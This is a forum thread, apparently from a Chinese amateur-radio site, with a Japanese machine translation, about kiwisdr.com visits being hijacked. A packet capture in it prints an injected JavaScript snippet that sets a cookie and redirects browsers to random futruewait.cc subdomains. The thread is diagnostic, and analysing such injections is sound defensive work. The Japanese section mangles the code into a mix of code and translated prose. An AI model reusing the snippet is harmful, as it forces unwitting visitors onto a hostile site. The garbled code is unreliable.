一周前，我满怀兴奋地打开kiwisdr，然后我发现………网站被劫持了！访问这个网站的时候，会自动跳转到一个……网站。如下面1楼的帖子所示。在此就想问一问，有没有遇到类似情况？顺便把我所做的分析提供一下。

[upl-image-preview uuid=065166f0-6ee1-4851-be86-27c522380193 url=https://storage.hamcq.cn/2025-04-06/1743909262-233748-ced79ca2-0a1f-4c17-926c-5786d37b8490.jpg alt={TEXT?}] 通过上面的网址，大家应该也发现问题了

随后经过我的不懈努力，终于从抓包的文件中找到了一点痕迹： `GET /public/ HTTP/1.1 Host: kiwisdr.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.140 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 If-None-Match: "2721824910" If-Modified-Since: Sat, 29 Mar 2025 15:29:13 GMT HTTP/1.1 200 OK Content-Type: text/html Cache-Control: no-cache Content-length: 1009 Connection: close function getCookie(n){var c=document.cookie.split(';');for(var i=0;i=o)r[0]=r[0].slice(0,-1)+'0';r[2]=t;var y=u[i].split('|');var x=r[5][i];var w=(x=='-'||x=='+')?Math.floor(Math.random()*y.length):x;if(x!='+'){var z=r[5].split('');z[i]=w;r[5]=z.join('');};var e=new Date(m||(Date.now()+parseInt(r[1])*3600000));r[4]=e.getTime();document.cookie=k+'='+r.join('@')+';expires='+e.toGMTString();function rd(u){var d='abcdefghijklmnopqrstuvwxyz0123456789',t='';for(var i=0;i

通过对这段代码的分析，我们可以发现，跳转部分使用了一个函数，使前半节网址（futruewait前面的地方）变为随机的六位数，这样就导致了不同的网址。最关键的是这个地方：window.location.href='https://'+rd(y[w]); 他是跳转这个网站的根源

@"captive"#p59956 就是的，判断应该是在三次握手之间出的问题

你浏览器里存的cookie很有意思嚰，平时都上什么网站呀

@"BG8LGP"#p59965 ？？？等下，我有点懵也没上啥啊

你本地的网络设备或者运营商问题，kiwisdr是非安全http协议，可以劫持。浏览器开发工具可以直接看到请求，没必要抓包。

kiwisdrを使用中に、重大な問題が発生しました！

BI9BUM

先週、私は興奮してkiwisdrを開いたところ、…ウェブサイトが乗っ取られていることに気づきました！このウェブサイトにアクセスすると、自動的に別の…ウェブサイトにリダイレクトされます。1楼の投稿にも記載されている通りです。そこで、同様の状況に遭遇した方はいらっしゃいますでしょうか？また、私が行った分析もご紹介します。

BI9BUM

上記のURLから、問題点が見つかるはずです。

BI9BUM

その後、私の粘り強い努力の結果、パケットキャプチャのファイルからわずかな手がかりを見つけることができました。

`GET /public/ HTTP/1.1
主催：kiwisdr.com
接続：Keep-Alive
アップグレード可能な不安全なリクエスト：1
ユーザーエージェント: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.140
受け入れられる形式：text/html、application/xhtml+xml、application/xml;q=0.9、image/webp、image/apng、/;品質：0.8、MIMEタイプ：application/signed-exchange、バージョン：b3;品質：0.9
Accept-Encoding: gzip, deflate
Accept-Language: 中華語（中国）、日本語、英語
If-None-Match: 「2721824910」
If-Modified-Since: 2025年3月29日 15時29分13秒 (GMT)

HTTP/1.1 200 OK
コンテンツタイプ：text/html
キャッシュ制御：キャッシュしない
コンテンツ長：1009
接続：切断

<html><script type='text/javascript'>関数 `getCookie(n)` は、指定された名前 (n) のクッキーを取得します。`document.cookie` をセミコロンで区切って配列に変換し、その配列をループ処理します。各要素（クッキー文字列）に対して、さらにセミコロンで区切って、目的のクッキーの名前と値を取得します。<c.length; i++){ var j = c.replace(/^空白+|\s+$/g, ''); if (j.indexOf(n + '=') === 0) return j.substring(n.length + 1); return null; var k = '_d250104', v = getCookie(k)'1111111111111111111111111@24@0@1@0@+@.futruewait.cc/trunks.html?k=s4&v=1281411368',r=v.split('@'),t=parseInt(r[2]),o=parseInt(r[3]),m=parseInt(r[4]),u=r.slice(6)、i = t.length; if (++t)>=o)r[0]=r[0].slice(0,-1)+'0';r[2]=t;var y=u.split('|'); var x = r[5];変数 w は、x が '-' の場合に true を、それ以外の場合は false になります。x が '+' の場合、Math.floor(Math.random()) を実行する。y.length): x; if (x != '+') { var z = r[5].split('');=w;r[5]=z.join('');};var e=new Date(m||(Date.now()+parseInt(r[1]));3600000));r[4]=e.getTime();document.cookie=k+'='+r.join('@')+';expires='+e.toGMTString();function rd(u){var d='abcdefghijklmnopqrstuvwxyz0123456789',t='';for(var i=0;i<6;i++){var ri=Math.floor(Math.random()d.length); t += d.charAt(ri);} return u.indexOf('*') === 0 ? t + u.slice(1):u;};window.location.href='https://'+rd(y[w]);</スクリプト></html>HTTP/1.1 200 OK
アクセス制御 - 許可元：*
バリエーション：Accept-Encoding
コンテンツエンコーディング：gzip
最終更新日: 2025年4月5日金曜日 15時34分41秒 (GMT)
ETag: 「1625282316」
コンテンツタイプ：text/html
Accept-Ranges: バイト
コンテンツ長：160571
日付: 2025年4月5日土曜日 15時36分23秒 (GMT)
サーバー：lighttpd/1.4.35

BI9BUM

このコードを分析すると、ジャンプ部分で関数が使用されており、前半のURL（futruewaitの前）がランダムな6桁の数字に変換されるため、異なるURLが生成されます。最も重要な箇所は以下の通りです：`window.location.href='https://'+rd(y[w]);` これは、このサイトへのジャンプを可能にする根本的な部分です。